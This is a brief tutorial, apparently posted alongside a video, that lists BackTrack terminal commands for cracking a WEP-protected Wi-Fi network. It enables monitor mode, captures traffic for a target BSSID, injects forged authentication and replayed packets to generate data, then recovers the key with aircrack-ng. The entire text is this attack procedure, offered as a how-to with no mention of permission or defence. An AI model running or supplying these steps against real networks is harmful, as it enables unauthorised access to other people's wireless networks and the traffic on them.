If you aren't very familiar with BackTrack, watch the video, if you are just follow these steps.
Open a new terminal where it says too!
- Open Terminal
airmon-ng start wlan0
CTRL+C to stop Scanning
airodump-ng -c (channel) -w (savingfile) --bssid (bssid) mon0
- Open New Terminal
aireplay-ng -1 0 -a (bssid) mon0
aireplay-ng -2 -p 0841 -c ff:ff:ff:ff:ff:ff -b (bssid) mon0
Press Y when you get the prompt.
- Open New Terminal (25k Data)
aircrack-ng -n 64 -b (bssid) (savingfile)-01.cap
Thanks for Reading! Goodluck Hacking WEPs!